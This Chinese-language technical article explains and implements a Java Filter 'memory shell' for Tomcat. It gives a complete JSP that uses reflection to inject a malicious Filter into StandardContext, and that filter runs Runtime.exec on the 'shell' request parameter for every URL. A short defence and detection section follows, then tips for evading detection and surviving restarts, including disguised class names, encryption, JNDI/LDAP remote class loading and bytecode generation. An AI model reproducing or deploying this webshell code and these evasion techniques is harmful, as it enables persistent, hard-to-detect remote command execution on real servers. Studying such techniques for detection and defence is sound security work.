java Filter内存马分析
字数 2682 2025-08-29 08:31:35
Java Filter内存马分析与实现
1. Filter内存马概述
Filter内存马是一种基于Java Servlet Filter机制的无文件Webshell技术,它通过动态注入恶意Filter到运行中的Web容器(如Tomcat)来实现持久化控制。与传统的文件型Webshell相比,内存马具有以下特点:
- 无需上传恶意文件到服务器
- 直接驻留在内存中,难以通过文件扫描发现
- 可以绕过常规的文件检测机制
- 即使删除注入的JSP文件,内存中的Filter仍然有效
2. 基本原理
Filter内存马的核心原理是利用Java反射机制和Tomcat内部API,动态地将恶意Filter添加到应用的Filter链中。当HTTP请求到达时,Tomcat会依次调用Filter链中的每个Filter,从而执行我们的恶意代码。
2.1 Filter工作机制
标准Filter工作流程:
- 客户端发送请求到Web服务器
- 服务器根据URL匹配Filter映射
- 创建FilterChain对象,包含所有匹配的Filter
- 依次调用每个Filter的doFilter方法
- 最后调用目标Servlet的服务方法
2.2 内存马实现关键点
要实现Filter内存马,需要解决以下问题:
- 如何在不修改web.xml的情况下动态添加Filter
- 如何获取Tomcat内部对象(StandardContext等)
- 如何构造完整的Filter组件(FilterDef、FilterMap、FilterConfig)
- 如何将恶意Filter插入到现有Filter链中
3. 详细实现步骤
3.1 基础Filter示例
package com.naihe;
import javax.servlet.*;
import java.io.IOException;
public class FilertDemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("初始化完成");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
FilterChain filterChain) throws IOException, ServletException {
servletRequest.setCharacterEncoding("utf-8");
servletResponse.setCharacterEncoding("utf-8");
servletResponse.setContentType("text/html;charset=UTF-8");
// 先放行请求,避免影响正常业务
filterChain.doFilter(servletRequest, servletResponse);
// 恶意代码执行点
System.out.println(servletRequest.getParameter("shell"));
Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
System.out.println("过滤中。。。");
}
@Override
public void destroy() {
System.out.println("过滤结束");
}
}
传统配置方式(web.xml):
<filter>
<filter-name>enfilter</filter-name>
<filter-class>com.naihe.FilertDemo</filter-class>
</filter>
<filter-mapping>
<filter-name>enfilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
3.2 动态注入Filter的实现
要实现不修改web.xml的动态注入,需要了解Tomcat内部结构:
- ServletContext - Servlet规范接口,代表Web应用
- ApplicationContext - Tomcat对ServletContext的实现
- StandardContext - Tomcat中表示Web应用的容器
- Filter相关组件:
- FilterDef - 存储过滤器名、实例等基本信息
- FilterMap - 存储过滤器名和URL模式的映射
- FilterConfig - 包含FilterDef和Filter对象
3.2.1 关键类分析
- ApplicationFilterChain - 维护当前请求的Filter链
- ApplicationFilterFactory - 负责创建FilterChain
- StandardWrapperValve - 调用ApplicationFilterFactory创建FilterChain
3.2.2 注入流程
- 获取ServletContext对象
- 通过反射获取ApplicationContext
- 通过反射获取StandardContext
- 创建恶意Filter实例
- 创建并配置FilterDef
- 创建并配置FilterMap
- 创建ApplicationFilterConfig
- 将所有组件添加到StandardContext中
3.3 完整内存马实现代码
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.io.IOException" %>
<%
// 1. 反射获取ServletContext
ServletContext servletContext = request.getServletContext();
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
// 2. 获取ApplicationContext
Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
applicationContextFacadeContext.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
// 3. 获取StandardContext
Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
applicationContextContext.setAccessible(true);
StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);
// 4. 获取filterConfigs
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
String filterName = "Filter";
if (hashMap.get(filterName) == null) {
// 5. 创建恶意Filter实例
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("注入初始化");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
FilterChain filterChain) throws IOException, ServletException {
servletRequest.setCharacterEncoding("utf-8");
servletResponse.setCharacterEncoding("utf-8");
servletResponse.setContentType("text/html;charset=UTF-8");
// 先放行请求
filterChain.doFilter(servletRequest, servletResponse);
// 恶意代码执行点
System.out.println(servletRequest.getParameter("shell"));
Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
System.out.println("过滤中。。。");
}
@Override
public void destroy() {
System.out.println("Filter销毁");
}
};
// 6. 创建并配置FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
// 7. 创建并配置FilterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
// 8. 创建ApplicationFilterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
// 9. 将filterConfig添加到filterConfigs中
hashMap.put(filterName, applicationFilterConfig);
response.getWriter().println("successfully");
}
%>
4. 技术细节分析
4.1 Tomcat内部对象获取
-
从ServletContext到StandardContext:
- ServletContext → ApplicationContextFacade → ApplicationContext → StandardContext
- 需要通过反射访问私有字段"context"
-
Filter相关存储结构:
- StandardContext中维护三个重要集合:
- filterDefs - 存储所有FilterDef
- filterMaps - 存储所有FilterMap
- filterConfigs - 存储所有FilterConfig
- StandardContext中维护三个重要集合:
4.2 Filter组件关系
-
FilterDef:
- 包含Filter的名称、实例和类名
- 通过StandardContext.addFilterDef()添加
-
FilterMap:
- 定义Filter的URL匹配规则
- 通过StandardContext.addFilterMapBefore()添加
-
FilterConfig:
- 包装FilterDef和Context
- 存储在StandardContext的filterConfigs Map中
4.3 执行流程
-
请求到达Tomcat后,StandardWrapperValve会:
- 调用ApplicationFilterFactory.createFilterChain()
- 根据URL匹配FilterMap创建FilterChain
- 从filterConfigs获取对应的FilterConfig
-
FilterChain执行时:
- 按顺序调用每个Filter的doFilter方法
- 最后调用目标Servlet的service方法
5. 防御与检测
5.1 防御措施
- 禁用JSP上传功能
- 限制反射API的使用
- 使用SecurityManager限制敏感操作
- 定期检查运行中的Filter列表
- 监控Runtime.exec等危险方法的调用
5.2 检测方法
-
静态检测:
- 检查是否有可疑的JSP文件
- 检查web.xml是否有异常配置
-
动态检测:
- 列出所有已注册的Filter
- 检查Filter的类名和代码
- 监控Filter的执行行为
-
内存检测:
- 使用Java Agent技术扫描内存中的Filter实例
- 检查Filter的类加载来源
6. 高级技巧
6.1 隐蔽性增强
- 使用正常Filter类名伪装
- 加密恶意代码
- 延迟执行或条件触发
- 模仿正常Filter的行为模式
6.2 持久化机制
- 注册ServletContextListener在应用重启后重新注入
- 利用线程定期检查Filter状态
- 通过JNDI或LDAP远程加载恶意类
6.3 绕过检测
- 使用Javaassist动态生成Filter类
- 通过字节码技术修改已有Filter
- 利用Tomcat的热部署机制
7. 总结
Filter内存马是一种高级的Web持久化技术,它利用了Java Servlet规范和Tomcat实现细节。理解其原理不仅有助于安全研究人员检测和防御此类威胁,也能帮助开发人员编写更安全的Web应用。防御Filter内存马需要从多个层面进行防护,包括文件上传控制、运行时监控和权限限制等。